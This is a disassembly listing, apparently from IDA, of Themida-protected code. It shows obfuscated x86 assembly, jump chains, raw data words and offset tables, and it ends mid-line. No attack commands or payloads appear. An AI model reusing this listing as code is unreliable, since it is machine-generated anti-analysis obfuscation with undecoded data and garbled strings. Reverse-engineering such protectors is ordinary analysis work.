; --------------------------------------------------------------------------- loc_542F4B: ; CODE XREF: Themida_:005421B2j mov ecx, [esp] add esp, 4 sub [edi+24h], ebp push dword ptr [esp] jmp loc_539B0E ; --------------------------------------------------------------------------- db 29h dd 0F5E958C1h, 0B2FFFFE3h, 0AEEA804Ah, 0E9DFCA80h, 0FFFF7E59h dd 2 dup(531FA5h), 9E69DDh, 593DEAh, 0FA34EDDCh, 5950D8h dd 7FFE0304h, 217h, 2, 1, 2, 0FA34EDDCh, 5 dup(0) dd offset byte_557A21 dd offset byte_554E21 dd offset dword_549104 dd offset byte_551EDF dd offset byte_54953F dd offset dword_5528E8 dd offset word_547116 dd offset dword_548190 dd offset byte_54E805 dd offset dword_5536D0 dd offset byte_54D3D3 dd offset byte_54700D dd offset dword_543380 dd offset word_54ACB6 dd offset dword_54B680 dd offset dword_550FDC dd offset dword_547A60 dd offset word_5485BE dd offset dword_546484 dd offset word_557B3A dd offset byte_545971 dd offset byte_5554C3 dd offset byte_54CF2D dd offset dword_5452E0 dd offset aMGfrsskv ; "╛,GfRSИ╙╒" dd offset byte_548549 dd offset dword_548558 dd offset dword_545DC0 dd offset byte_54CFB9 dd offset byte_5438C9 dd offset byte_54FC71 dd offset word_550C42 dd offset aMfq_ ; "╛fQ╣_" dd offset word_55036A dd offset byte_553045 dd offset word_555B12 dd offset word_54D89A dd offset byte_548259 dd offset byte_54A8AB dd offset word_546092 dd offset dword_557668 dd offset byte_55461B dd offset word_546D52 dd offset byte_54DCEB dd offset byte_55093B dd offset byte_543823 dd offset dword_54CC98 dd offset dword_546DD8 dd offset word_55527A dd offset byte_54D26B dd offset byte_550C23 dd offset word_552EF6 dd offset word_5553A6 dd offset byte_554A55 dd offset byte_558113 dd offset byte_5471B9 dd offset aN1Vssu ; "╜1ьVИSu" dd offset byte_552907 dd offset byte_551113 dd offset byte_54F971 dd offset aLS ; "▀$$И" dd offset aNbSkf ; "╜│фSK■" dd offset byte_557F23 dd offset dword_5541C0 dd offset word_548482 dd offset byte_553D75 dd offset byte_553769 dd offset word_54E012 dd offset byte_546979 dd offset dword_549230 dd offset word_54CD1E dd offset byte_54DE21 dd offset byte_5580C9 dd offset word_54936E dd offset byte_5522F5 dd offset word_544A5A dd offset word_5464DE dd offset byte_54FF4B dd offset byte_554281 dd offset dword_554B18 dd offset word_54F8C6 dd offset byte_549FC1 dd offset word_5461D6 dd offset byte_5543F9 dd offset word_547E7E dd offset byte_545DFB dd offset dword_54B8D4 dd offset word_546F6A dd offset byte_54A957 dd offset word_54EEBA dd offset byte_557C7B dd offset byte_54D857 dd offset byte_552971 dd offset byte_54CD6D dd offset dword_54FBE0 dd offset dword_54B0D4 dd offset byte_5434D3 dd offset byte_54D3E9 dd offset byte_543B39 dd offset word_54C29A dd offset byte_54CBFB dd offset byte_54D3E1 dd offset dword_54BD28 dd offset byte_5517EB dd offset byte_548437 dd offset byte_54DE01 dd offset aMsw ; "╛Иw#" dd offset byte_55076F dd offset word_5475C6 dd offset dword_545FE4 dd offset word_5526FE dd offset byte_548061 dd offset word_54CB8A dd offset word_54B9D6 dd offset word_55787A dd offset dword_545884 dd offset word_5564AE dd offset byte_545EAB dd offset byte_547B6F dd offset dword_545B38 dd offset byte_556D35 dd offset word_5581E2 dd offset byte_543DFB dd offset word_54995A dd offset word_552B2A dd offset byte_54605D dd offset byte_550D6F dd offset dword_548138 dd offset byte_54E0A9 dd offset dword_54CA60 dd offset dword_54673C dd offset dword_552150 dd offset dword_54CED8 dd offset byte_550B55 dd offset byte_547AD5 dd offset word_54B04E dd offset dword_5486B0 dd offset word_543932 dd offset byte_54C809 dd offset dword_546964 dd offset byte_54A051 dd offset byte_54F3FB dd offset off_54CF8C dd offset dword_54DA70 dd offset dword_5444D8 dd offset byte_546A91 dd offset byte_54D20B dd offset byte_5504C9 dd offset byte_55312F dd offset word_545246 dd offset byte_54F75F dd offset dword_551278 dd offset byte_54497B dd offset word_545556 dd offset byte_54439D dd offset word_544DA2 dd offset byte_55465D dd offset dword_553268 dd offset byte_551269 dd offset word_547972 dd offset word_547126 dd offset byte_55148F dd offset dword_54AD24 dd offset aNsd7 ; "╜Иd7" dd offset byte_5440A7 dd offset byte_550A47 dd offset word_54DC46 ; --------------------------------------------------------------------------- loc_543254: ; CODE XREF: Themida_:0058A2CCj pusha pushf cld call $+5 pop edi sub edi, 61F4480h mov eax, edi add edi, 61F4198h cmp eax, [edi+2Ch] jnz short loc_543272 jmp short loc_543285 ; --------------------------------------------------------------------------- loc_543272: ; CODE XREF: Themida_:0054326Ej mov [edi+2Ch], eax mov ecx, 0A7h jmp short loc_543281 ; --------------------------------------------------------------------------- loc_54327C: ; CODE XREF: Themida_:00543283j add [edi+ecx*4+40h], eax dec ecx loc_543281: ; CODE XREF: Themida_:0054327Aj or ecx, ecx jnz short loc_54327C loc_543285: ; CODE XREF: Themida_:00543270j mov esi, [esp+24h] mov ebx, esi add esi, eax mov ecx, 1 loc_543292: ; CODE XREF: Themida_:00543299j xor eax, eax lock cmpxchg [edi+30h], ecx jnz short loc_543292 loc_54329B: ; CODE XREF: Themida_:00543628j ; Themida_:00543C27j ... lodsb sub esp, 4 jmp loc_554D76 ; --------------------------------------------------------------------------- dd 656CE5BAh, 81DAF770h, 0B84125E2h, 7EEA8134h, 290085DBh dd 0EF815AD7h, 36A95F5Ch, 7011E9h, 242C8900h, 0AF6FE6BDh dd 83D5F75Eh, 0D5F701EDh, 0F623E9h db 0 ; --------------------------------------------------------------------------- loc_5432D9: ; CODE XREF: Themida_:0054ED4Bj push edi sub esp, 4 jmp loc_543636 ; --------------------------------------------------------------------------- db 33h, 0Ch, 24h dd 4C4815Ch, 0F000000h, 51E9C8BEh, 83000049h, 1C8904ECh dd 92FFE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_543302: ; CODE XREF: Themida_:00553E91j push 7B8F3710h jmp loc_546CB5 ; --------------------------------------------------------------------------- dd 0E963F680h, 8D23h, 0E924248Bh, 8649h, 0BE243489h, 58586CC3h dd 12C2BA52h, 0D6316FF2h, 0F73BE95Ah db 2 dup(0) ; --------------------------------------------------------------------------- loc_543332: ; CODE XREF: Themida_:005579CCj sub esp, 4 jmp loc_543EEB ; --------------------------------------------------------------------------- db 50h, 0B8h, 0FCh dd 257EDD4Fh, 1329039Dh, 8308E8C1h, 1FE901C0h db 13h, 1, 0 ; --------------------------------------------------------------------------- loc_543353: ; CODE XREF: Themida_:00555CA3j add esi, 70152AF8h mov edx, [esp] add esp, 4 push ecx mov ecx, 1151E668h sub esi, ecx mov ecx, [esp] push ebx mov ebx, esp add ebx, 4 push ecx mov ecx, 4 add ebx, ecx jmp loc_5475D7 ; --------------------------------------------------------------------------- dword_543380 dd 0E9E78957h, 13A5Ah ; DATA XREF: Themida_:00542FE8o ; --------------------------------------------------------------------------- loc_543388: ; CODE XREF: Themida_:00554E54j add al, 30h add al, 49h push bx push edx mov dh, 73h mov bh, dh pop edx sub al, bh pop bx sub al, 95h jmp loc_54EE58 ; --------------------------------------------------------------------------- loc_54339F: ; CODE XREF: Themida_:0054C114j pop esp jmp loc_5490E0 ; --------------------------------------------------------------------------- db 54h, 5Eh, 81h dd 4C6h, 3BBA5200h, 0E93BCA02h, 0D7A5h, 0C681FE01h, 9D900B1h dd 0E9243C8Bh, 4723h, 47E4E950h, 0FBF0001h, 0BD740945h dd 0A96BDB1Eh, 0BB5FFD01h, 188315E2h, 18FBEB81h, 0FDE9307Ch db 0A0h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5433EB: ; CODE XREF: Themida_:005500CAj xor edi, 34CC5C6Ah add ebx, edi pop edi sub ebx, 0C902D08Ah add ebx, edi push dword ptr [ebx] jmp loc_54C3B5 ; --------------------------------------------------------------------------- db 88h dd 3A00E9CBh, 0E3D10000h, 0BAB2E9h, 24448100h, 0EC160A04h dd 247C0137h, 246C8104h, 0EC160A04h, 243C8B37h, 81E38953h dd 4C3h, 4B85000h, 1000000h, 1C3358C3h, 241C3124h, 5C241C33h dd 0FFFE52E9h, 7EDC1FFh, 56E9E5D1h, 8100002Fh, 4C4h, 463D6800h dd 4890000h, 2474FF24h, 24048B04h, 7C34E9h db 0 ; --------------------------------------------------------------------------- loc_54346D: ; CODE XREF: Themida_:00549850j mov edi, 0DA40274h or edx, edi jmp loc_553885 ; --------------------------------------------------------------------------- db 1, 0C3h, 58h dd 457BEB81h, 0B2E913A8h db 83h, 2 dup(0) ; --------------------------------------------------------------------------- loc_543487: ; CODE XREF: Themida_:005548BBj push 367Dh mov [esp], ecx jmp loc_544911 ; --------------------------------------------------------------------------- dd 0B9240C89h, 9B35880h, 1ED5E9h, 79166800h, 3C890000h dd 0ABA8E924h, 95F0000h, 34FF1C6Fh, 45D7E924h db 1, 0 ; --------------------------------------------------------------------------- loc_5434BA: ; CODE XREF: Themida_:005456F6j push ebp jmp loc_549863 ; --------------------------------------------------------------------------- loc_5434C0: ; CODE XREF: Themida_:005533E5j push 1CE8h mov [esp], eax push ecx push dword ptr [esp+4] pop ecx jmp loc_54F492 ; --------------------------------------------------------------------------- byte_5434D3 db 52h ; DATA XREF: Themida_:00543138o dd 174DBD55h, 0B3BA41E0h, 3141E017h, 242C8BEAh, 2104C483h dd 34FF1C57h, 24148B24h, 3D0D68h, 242C8900h, 4EF268h, 24248900h dd 4CA4E9h db 0 ; --------------------------------------------------------------------------- loc_543505: ; CODE XREF: Themida_:005436F1j sub ecx, 4 xchg ecx, [esp] pop esp mov [esp], eax mov eax, 10160A4Ch sub edx, eax jmp loc_557AF5 ; --------------------------------------------------------------------------- loc_54351B: ; CODE XREF: Themida_:0054E14Bj mov eax, [esp] add esp, 4 sub bl, 57h push edx mov dh, 30h xor dh, 0D2h jmp loc_54EE44 ; --------------------------------------------------------------------------- loc_54352F: ; CODE XREF: Themida_:005554BEj xor ebx, 666579CBh add eax, ebx pop ebx sub esp, 4 mov [esp], ecx jmp loc_558059 ; --------------------------------------------------------------------------- dw 0EC81h dd 4, 53242C89h, 4BBh, 0E8E2E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54355A: ; CODE XREF: Themida_:0054F79Bj mov ecx, 43813FD4h or esi, ecx mov ecx, [esp] push 67BAh mov [esp], eax mov eax, esp jmp loc_54A6A9 ; --------------------------------------------------------------------------- db 0B8h dd 60AB0986h, 3A3FBD55h, 0CBE96D7Bh, 5B00000Eh, 0F8BD555Bh dd 811EE853h, 8E6DDAC5h, 0C4F58140h, 0E90C1A43h, 11650h dd 306168h, 240C8900h, 0C181E189h, 4, 4C181h, 0C870000h dd 102FE924h db 1, 0 ; --------------------------------------------------------------------------- loc_5435BA: ; CODE XREF: Themida_:005491F1j push ebx mov ebx, 3F0F0965h sub ebx, 0E41DD84Bh xor edi, ebx pop ebx jmp loc_551CEA ; --------------------------------------------------------------------------- dw 0A2B9h dd 0C1755303h, 9EE907E1h, 510000B4h, 6CE9E189h db 5Fh, 2 dup(0) ; --------------------------------------------------------------------------- loc_5435E3: ; CODE XREF: Themida_:00552A87j push 80Ah jmp loc_54CDCE ; --------------------------------------------------------------------------- loc_5435ED: ; CODE XREF: Themida_:005539ADj and edi, 675B6C6Dh jmp loc_55590D ; --------------------------------------------------------------------------- dd 52A3B850h, 6857345Dh, 1, 0BBA525Fh, 118ED5Dh, 0D240E9D0h db 2 dup(0) ; --------------------------------------------------------------------------- loc_543612: ; CODE XREF: Themida_:0054F359j add edx, 4 xchg edx, [esp] pop esp sub ebx, 2FF01F99h mov edx, [esp] add esp, 4 jmp loc_54329B ; --------------------------------------------------------------------------- db 56h, 89h, 0E6h dd 0C1F9E955h db 2 dup(0) ; --------------------------------------------------------------------------- loc_543636: ; CODE XREF: Themida_:005432E0j mov [esp], eax mov eax, 23A2159Dh xor [esp+4], eax pop eax pop eax push ebx mov ebx, 4B672EA1h push edx jmp loc_550BAD ; --------------------------------------------------------------------------- dd 33C1C681h, 0EE814A9Ah, 4A6D2547h, 0C681CE01h, 4A6D2547h dd 33C1EE81h, 0C6814A9Ah, 7C6C665Ch, 24348759h, 0E924248Bh dd 1888h ; --------------------------------------------------------------------------- loc_54367C: ; CODE XREF: Themida_:005459F3j add ecx, 4 sub esp, 4 mov [esp], edi push 4 jmp loc_54773C ; --------------------------------------------------------------------------- loc_543692: ; CODE XREF: Themida_:00553453j mov [esp], esp add dword ptr [esp], 4 jmp loc_5459C7 ; --------------------------------------------------------------------------- loc_54369E: ; CODE XREF: Themida_:0054E384j push 0F60h mov [esp], edi mov edi, 134C7D39h shl edi, 2 jmp loc_54656B ; --------------------------------------------------------------------------- loc_5436B3: ; CODE XREF: Themida_:005512D9j shr eax, 18h xor eax, ecx push eax jmp loc_543EAA ; --------------------------------------------------------------------------- dw 3168h dd 5D1FF151h, 8108EDC1h, 25FDE9F5h, 0E9E9894Bh, 118F1h dd 0E904EC83h, 0DD23h ; --------------------------------------------------------------------------- loc_5436DC: ; CODE XREF: Themida_:00557F15j sub edx, 407B4850h add edx, 10B6EFAh push ecx mov ecx, esp add ecx, 4 jmp loc_543505 ; --------------------------------------------------------------------------- dw 0C87h dd 0F5815D24h, 276B49B3h, 7863E9h, 2434FF00h, 4EC8159h dd 0E9000000h, 0CC7Eh, 0B7241C89h, 31EE803Eh, 0C680FE28h dd 0F6805B31h, 462DE97Bh, 0F7410000h, 0D1F749D9h, 0ACC9C181h dd 0BF57FCA8h, 2E770BD2h, 0E95FF901h, 4D70h, 17E9C501h dd 5B000110h, 835FFB01h, 1C8704EBh, 9BD9E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54375A: ; CODE XREF: Themida_:005555C7j mov [esp], esi mov esi, esp add esi, 4 jmp loc_54A2E3 ; --------------------------------------------------------------------------- dw 0E0C1h dd 0B0172D06h, 0C601541Bh, 0D4EE8158h, 8B57E35Ch, 4DE9241Ch dd 5300012Ch, 34CAE9h db 0 ; --------------------------------------------------------------------------- loc_543789: ; CODE XREF: Themida_:005518ECj mov [esp], ebx push edx push ebx jmp loc_54A2F4 ; --------------------------------------------------------------------------- db 81h dd 4C4h, 0C9E95200h, 54000042h, 9C90E95Eh, 0E8010000h dd 10B96E9h, 4E9C100h, 18E068h, 2AE8E900h, 248B0001h, 0E9F76624h dd 11D6FE9h db 0 ; --------------------------------------------------------------------------- loc_5437C5: ; CODE XREF: Themida_:00551603j sub esp, 4 jmp loc_553FCA ; --------------------------------------------------------------------------- dd 3CBCE95Fh, 0B8500001h, 61DA3F1Ch, 208D3540h, 0ED812C02h dd 62006913h, 0BF57C529h, 62006913h, 8B5FFD01h, 0C4812404h dd 4, 0DDF74D45h, 0D2F7D587h, 0FE43E9h, 0BE565500h, 167C14h dd 0E262E9h, 24248B00h, 4BB0F66h, 17E99C24h db 96h, 2 dup(0) byte_543823 db 81h ; DATA XREF: Themida_:0054306Co dd 4ECh, 0CF4FE900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54382E: ; CODE XREF: Themida_:005560F9j not ebx and ebx, 5A193B19h inc ebx add ebx, 3DB72D96h or ebx, 186754EAh shr ebx, 4 push ebp mov ebp, 39D876B6h or ebx, ebp jmp loc_551593 ; --------------------------------------------------------------------------- loc_543853: ; CODE XREF: Themida_:0054B377j sub ebx, 0C3CF2D5Ah mov edi, 0F7627DAh xor edi, ebx pop ebx push 4B5D30EAh pop ebx xor ebx, edi mov edi, [esp] add esp, 4 and eax, ebx push dword ptr [esp] jmp loc_54956F ; --------------------------------------------------------------------------- dd 34E5815Eh, 8157B93Dh, 0B63996C5h, 4EDC110h, 0CD81D5F7h dd 7E0E603Fh, 131EBE9h db 0 ; --------------------------------------------------------------------------- loc_543899: ; CODE XREF: Themida_:00546283j not ebx sub esp, 4 mov [esp], edx push ecx jmp loc_557C71 ; --------------------------------------------------------------------------- dw 815Eh dd 1C1CE0EAh, 0CFC28174h, 2942F1CCh, 24E95AD7h db 62h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5438BF: ; CODE XREF: Themida_:00544514j mov ebx, 52C20E05h jmp loc_54BAA7 ; --------------------------------------------------------------------------- byte_5438C9 db 66h, 8Bh, 0Ch ; DATA XREF: Themida_:0054302Co dd 0F6824h, 4890000h, 52E08924h, 13DDAE9h, 4FE95600h, 5D0000E9h dd 0D104EAC1h, 6BC281E2h, 29F77876h, 24148BD7h, 104C483h dd 8FE951DFh, 6600007Ch, 6AB450h, 3892E9E7h db 1, 0 ; --------------------------------------------------------------------------- loc_54390A: ; CODE XREF: Themida_:005546A5j xchg edi, esi push edx push ecx mov ecx, 3C6862D7h jmp loc_553993 ; --------------------------------------------------------------------------- dd 0E9241C89h, 10DEFh, 0BC6453BAh, 5AD12922h, 0BA776505h dd 49B0E972h db 2 dup(0) word_543932 dw 8B66h ; DATA XREF: Themida_:005431DCo dd 81682404h, 8900000Dh, 0E0892404h, 10366E9h, 61BF5700h dd 0C1191D1Dh, 0CF8102EFh, 288974D0h, 6203F781h, 47472C16h dd 15D9EF81h, 0FD2902D9h, 10B80E9h db 0 ; --------------------------------------------------------------------------- loc_543969: ; CODE XREF: Themida_:0054C7ADj or esi, 61EE357Ch sub esi, 0F1885DFEh jmp loc_555B23 ; --------------------------------------------------------------------------- dw 0F781h aAi0us7 db 'AК0⌠И7',7,0 db 0 ; --------------------------------------------------------------------------- loc_543985: ; CODE XREF: Themida_:005531D2j push edx mov edx, esp add edx, 4 jmp loc_55006B ; --------------------------------------------------------------------------- db 53h dd 356457BBh, 5BDA0131h, 1370AE9h db 0 ; --------------------------------------------------------------------------- loc_5439A1: ; CODE XREF: Themida_:00557565j sub esi, 130D4110h pop ebp inc esi jmp loc_554E85 ; --------------------------------------------------------------------------- loc_5439AE: ; CODE XREF: Themida_:00557948j mov [esp], ebx push dword ptr [esp] mov eax, [esp] push edx mov edx, esp jmp loc_5550C3 ; --------------------------------------------------------------------------- loc_5439BF: ; CODE XREF: Themida_:0054509Dj or ebx, 64B62C7Bh jmp loc_54DDF5 ; --------------------------------------------------------------------------- loc_5439CA: ; CODE XREF: Themida_:0054753Fj mov bl, dl mov [edi+28h], bl mov ebx, [esp] add esp, 4 mov edx, [esp] push edx mov edx, esp push 11E2h mov [esp], ebp sub esp, 4 mov [esp], edx mov edx, 7B725185h and edx, 0EC75BB1h xor edx, 50D803B2h mov ebp, edx pop edx sub ebp, 5A9A522Fh add edx, ebp mov ebp, [esp] add esp, 4 jmp loc_544425 ; --------------------------------------------------------------------------- db 87h dd 835C2404h, 0E3C1FFEBh, 73F38104h, 56424F77h, 7155E9h dd 815D5B00h, 0D0EFA0C3h, 5BDF0104h, 4C781h, 3C870000h dd 24248B24h, 285A68h, 24048900h, 42474FFh, 8124048Bh dd 4C4h, 24048F00h, 6624248Bh, 2404B30Fh, 0F835E99Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_543A66: ; CODE XREF: Themida_:0054703Aj push ebx push edx jmp loc_555C64 ; --------------------------------------------------------------------------- db 66h, 53h, 0B3h dd 66DA8845h, 0D588515Bh, 1580E9h, 28AFBA00h, 0CA814614h dd 23E45D76h, 32E2C281h, 0CA816319h, 62DD38DBh, 5B3AE281h dd 0DAF77A61h, 81A2E9h, 2434FF00h, 8324048Bh, 895204C4h dd 4C281E2h, 0E9000000h, 65F1h ; --------------------------------------------------------------------------- loc_543AB8: ; CODE XREF: Themida_:00557520j add al, 0BAh push edx sub esp, 4 mov [esp], eax push 55DFh mov [esp], edx mov dl, 4Bh add dl, 0D0h push ecx mov cl, 30h jmp loc_54C7DB ; --------------------------------------------------------------------------- db 8Fh, 4, 24h aLHvc db '▀$$h┌c',0 align 4 dd 7DFFE9h, 0CD815800h, 7E8741Dh, 303DF581h, 0EF01F4EAh dd 1D68E95Dh db 1, 0 ; --------------------------------------------------------------------------- loc_543AFE: ; CODE XREF: Themida_:0055390Fj mov esi, 29A31839h xor edx, esi mov esi, [esp] add esp, 4 xor esi, edx pop edx add [edi+24h], esi mov esi, [esp] add esp, 4 add dword ptr [edi+24h], 0B25E8A4Fh xor edx, edx push 3DA9h mov [esp], ebx xor dword ptr [esp], 275C3D8Ch mov eax, [esp] push ecx push esp jmp loc_54CF5C ; --------------------------------------------------------------------------- byte_543B39 db 66h, 8Bh, 0Ch ; DATA XREF: Themida_:00543140o dd 4EC8124h, 89000000h, 6C68240Ch, 89000046h, 4812424h dd 424h, 240C8B00h, 5504C483h, 4BDh, 5DE90100h, 5AB2E9h db 0 ; --------------------------------------------------------------------------- loc_543B69: ; CODE XREF: Themida_:0054E4E0j xchg eax, [esp] jmp loc_5504E2 ; --------------------------------------------------------------------------- aRsjw db 'RИjW',0 db 0 ; --------------------------------------------------------------------------- loc_543B77: ; CODE XREF: Themida_:00545703j sub esi, 686D2DC6h mov edi, [esp] add esp, 4 jmp loc_547B7D ; --------------------------------------------------------------------------- aGlSS db '╫Glй{И╠И',0 dd 24148900h, 37C3BE56h, 0FF680B90h, 0FF137373h, 3BE92434h dd 56000040h, 119DBA52h, 0D68911B9h, 246C815Ah, 47A9B04h dd 2474013Bh, 25B76804h, 0F2E90000h db 7Fh, 2 dup(0) ; --------------------------------------------------------------------------- loc_543BCB: ; CODE XREF: Themida_:00543D19j push esi push edi push 34E6h mov [esp], eax jmp loc_54D94A ; --------------------------------------------------------------------------- dw 0E981h dd 6A715BD4h, 0E950D929h, 3DCh ; --------------------------------------------------------------------------- loc_543BE8: ; CODE XREF: Themida_:00547C0Cj add esp, 4 add ebx, 541211E1h sub ebx, 5D642A83h push dword ptr [ebx] jmp loc_544889 ; --------------------------------------------------------------------------- loc_543C01: ; CODE XREF: Themida_:0054AF2Fj push 610Dh mov [esp], esi push esp mov esi, [esp] push ebp mov ebp, esp jmp loc_557FB2 ; --------------------------------------------------------------------------- loc_543C15: ; CODE XREF: Themida_:0055445Bj pop ebp jmp loc_55218D ; --------------------------------------------------------------------------- loc_543C1B: ; CODE XREF: Themida_:005478DFj pop edi xchg ebx, [esp] mov esp, [esp] shr word ptr [esp], cl pushf jmp loc_54329B ; --------------------------------------------------------------------------- loc_543C2C: ; CODE XREF: Themida_:00555917j xor eax, 6CC455F8h add eax, 0CCD47039h xor edi, eax pop eax shl edi, 8 jmp loc_552C03 ; --------------------------------------------------------------------------- db 59h, 53h, 89h dd 4C381E3h, 83000000h, 1C3304C3h, 241C3124h, 8B241C33h dd 48F2424h, 24248B24h, 24048B66h, 535E5456h, 4BBh, 3C28E900h dd 0EE810000h, 530D1EB7h, 44CAEE81h, 0C68141A3h, 540C73A5h dd 8904EC83h, 64BF243Ch, 0C157817Ah, 0D7F707E7h, 0A876E9h db 0 ; --------------------------------------------------------------------------- loc_543C99: ; CODE XREF: Themida_:00551072j sub esp, 4 jmp loc_54C3E8 ; --------------------------------------------------------------------------- db 81h, 0C1h, 2 dd 0E9000000h, 10523h, 2832B450h, 0F38058E3h, 4B90438h dd 0D7BDE9FCh db 2 dup(0) ; --------------------------------------------------------------------------- loc_543CBE: ; CODE XREF: Themida_:0055299Ej pop ebx push ebp mov ebp, esp jmp loc_54A0F8 ; --------------------------------------------------------------------------- db 81h dd 0DC5265C1h, 0C875D59h, 30FF5C24h, 1247E9h db 0 ; --------------------------------------------------------------------------- loc_543CD9: ; CODE XREF: Themida_:00552FE6j push ebx jmp loc_553793 ; --------------------------------------------------------------------------- db 81h dd 4C4h, 0D5EA8100h, 29756F16h, 0D5C281FAh, 5F756F16h dd 0E902EAC1h, 1FEAh, 33242C31h, 9E9242Ch db 65h, 2 dup(0) ; --------------------------------------------------------------------------- loc_543D07: ; CODE XREF: Themida_:0054BDC2j pop esp push 680Fh mov [esp], ebx push edi jmp loc_549C6F ; --------------------------------------------------------------------------- loc_543D16: ; CODE XREF: Themida_:0054E40Aj add esp, 4 jmp loc_543BCB ; --------------------------------------------------------------------------- loc_543D1E: ; CODE XREF: Themida_:00546132j mov ebx, esp add ebx, 4 add ebx, 4 jmp loc_548522 ; --------------------------------------------------------------------------- db 81h, 0F2h, 0BFh dd 8151C722h, 0E16670EAh, 5AD53111h, 72D868h, 24048900h dd 13FB5E9h, 4353BA00h, 0C14A634Bh, 0B95107E2h, 34BB562Fh dd 0E959CA29h, 108D3h, 5351E681h, 0F68157BDh, 571C4245h dd 565EF289h, 88A2E9h, 4EC8100h, 89000000h, 0BF572414h dd 209743CFh, 11BEDE9h db 0 ; --------------------------------------------------------------------------- loc_543D8D: ; CODE XREF: Themida_:005580C4j xor [esp], edx jmp loc_55306B ; --------------------------------------------------------------------------- db 58h, 5, 4 dd 83000000h, 48704C0h, 37685C24h, 8900003Fh, 4BF243Ch dd 55000000h, 0DB0158BDh, 4FF5532h, 0DDF75D24h, 0BA4AB951h dd 0CD29516Fh, 0B40EE9h, 5AD18900h, 295EF131h, 240C8BCAh dd 0D88E9h, 0AAE18100h, 575A7D0Ch, 0DB2EE9h, 81E18900h dd 4C1h, 4C18300h, 8B240C87h, 36E92424h db 0F2h, 2 dup(0) byte_543DFB db 0FFh ; DATA XREF: Themida_:005431A0o dd 17E93C77h db 24h, 1, 0 ; --------------------------------------------------------------------------- loc_543E03: ; CODE XREF: Themida_:00554821j pop edi add edi, 4 push esi mov esi, 4 sub edi, esi pop esi xchg edi, [esp] pop esp mov [esp], ebx mov ebx, 350D59C6h and ecx, ebx mov ebx, [esp] add esp, 4 jmp loc_549C7C ; --------------------------------------------------------------------------- loc_543E2C: ; CODE XREF: Themida_:0054F7D6j xor esi, 504A733Fh xor esi, 0ABB7EB6Eh jmp loc_54742B ; --------------------------------------------------------------------------- db 89h, 3Ch, 24h dd 1E2F2468h, 243C8B37h, 4C481h, 0F7810000h, 47AF07ACh dd 0BE9FA89h, 500000Ch, 22690A2Eh, 8158C729h, 0C92586C7h dd 0CF20E903h db 2 dup(0) ; --------------------------------------------------------------------------- loc_543E6E: ; CODE XREF: Themida_:0054C25Ej neg esi sub esi, 0D0B38164h and eax, esi mov esi, [esp] jmp loc_54D9E3 ; --------------------------------------------------------------------------- dd 2603F381h, 0D8090182h, 0E9FCE9h, 2474FF00h, 24048B04h dd 13A47E9h, 58C28900h, 690768h, 24148900h, 0E72E95Bh db 1, 0 ; --------------------------------------------------------------------------- loc_543EAA: ; CODE XREF: Themida_:005436B9j push esp pop eax push edx mov edx, 4 add eax, edx mov edx, [esp] jmp loc_544E53 ; --------------------------------------------------------------------------- dd 44A8F181h, 14E92CD4h, 830000B4h, 148704C2h, 148B5C24h dd 4C48124h, 68000000h, 0E1Bh, 1249CE9h, 14730500h, 0AEE9439Ah db 3 dup(0FFh) ; --------------------------------------------------------------------------- loc_543EEB: ; CODE XREF: Themida_:00543338j mov [esp], ebp jmp loc_54AA97 ; --------------------------------------------------------------------------- db 31h dd 0D7F75EF7h, 0EF81DFF7h, 657B6FAAh, 3122E981h, 0F9290644h dd 140C3E9h, 0F1CC8000h, 8101C480h, 2ECh, 4896600h, 2454F624h dd 80586601h, 0B15162E4h, 8BCC08C0h, 68E9240Ch, 0BD000023h dd 4, 45F9BB53h, 0BD551E51h, 478D179Ch, 9FE9EB31h, 5900004Eh dd 0FEE9FD01h db 2Fh, 1, 0 ; --------------------------------------------------------------------------- loc_543F53: ; CODE XREF: Themida_:005516BCj pop edi add edx, 4 xor edx, [esp] xor [esp], edx xor edx, [esp] pop esp push edx sub dword ptr [esp], 33032AF3h mov ecx, [esp] add esp, 4 jmp loc_545637 ; --------------------------------------------------------------------------- loc_543F7A: ; CODE XREF: Themida_:0054C516j xchg eax, [esp] pop esp push ecx push ebx pop ecx pop ebx jmp loc_5524EE ; --------------------------------------------------------------------------- db 80h dd 0F3806BF3h, 0E9DC28C8h, 80B2h, 0FAC7C781h, 0FD894049h dd 0F448E95Fh, 14890000h, 8500E924h, 0D4F60000h, 8029C480h dd 0C38014EBh, 80E30054h, 0B45054EBh, 0E9E30014h, 0C4B0h dd 715BD4B8h, 58C1016Ah, 5E9C15Bh, 584DC181h, 0E9577361h dd 12041h, 4958C189h, 17A9E181h, 0D1F770C2h, 83B85041h dd 404A0314h, 176FE9h, 4BE5600h, 1000000h, 232CE9F2h db 2 dup(0) ; --------------------------------------------------------------------------- loc_544002: ; CODE XREF: Themida_:00544D24j pop edi sub esi, 4 push esi push dword ptr [esp+4] mov esi, [esp] jmp loc_555D15 ; --------------------------------------------------------------------------- loc_544013: ; CODE XREF: Themida_:0054B049j dec edx not edx sub edx, 4E7966B4h sub esp, 4 mov [esp], ecx push eax mov eax, 3E3D7C24h mov ecx, eax pop eax sub edx, ecx jmp loc_54984E ; --------------------------------------------------------------------------- loc_544032: ; CODE XREF: Themida_:005572ADj xor esi, 1A5B655Fh sub esi, 2BE1BDFh and esi, 44FC149Ah add esi, 1 shl esi, 1 push edi mov edi, 81100822h xor esi, edi jmp loc_54756E ; --------------------------------------------------------------------------- aTsA db 'TИ╟═',0 align 4 dd 4244481h, 7AA33EC2h, 4246C01h, 4246C81h, 7AA33EC2h dd 24348B5Dh, 0E904C483h, 15EBh, 0FB89C789h, 42E9585Fh dd 5700006Dh, 4CF7E9h, 0C895C00h, 38B7E924h, 0D8310001h dd 81241C8Bh, 4C4h, 0EFE95100h db 0FDh, 2 dup(0) byte_5440A7 db 66h ; DATA XREF: Themida_:00543248o dd 0E924048Bh, 77CEh, 58BB5356h, 0E95ED177h, 697Ah, 0E95FF989h dd 78C0h, 0DCE9D1F7h db 5Bh, 2 dup(0) ; --------------------------------------------------------------------------- loc_5440CB: ; CODE XREF: Themida_:0054CDE9j dec ecx jmp loc_54676C ; --------------------------------------------------------------------------- db 54h, 8Fh, 4 db '$h',7,'&',0 align 2 aI4HU db '┴4$h╩U',0 align 2 dw 1C89h dd 2A26BB24h, 0BA5208CDh, 8CD2A2Ah, 295AD689h, 0F9E95BDEh dd 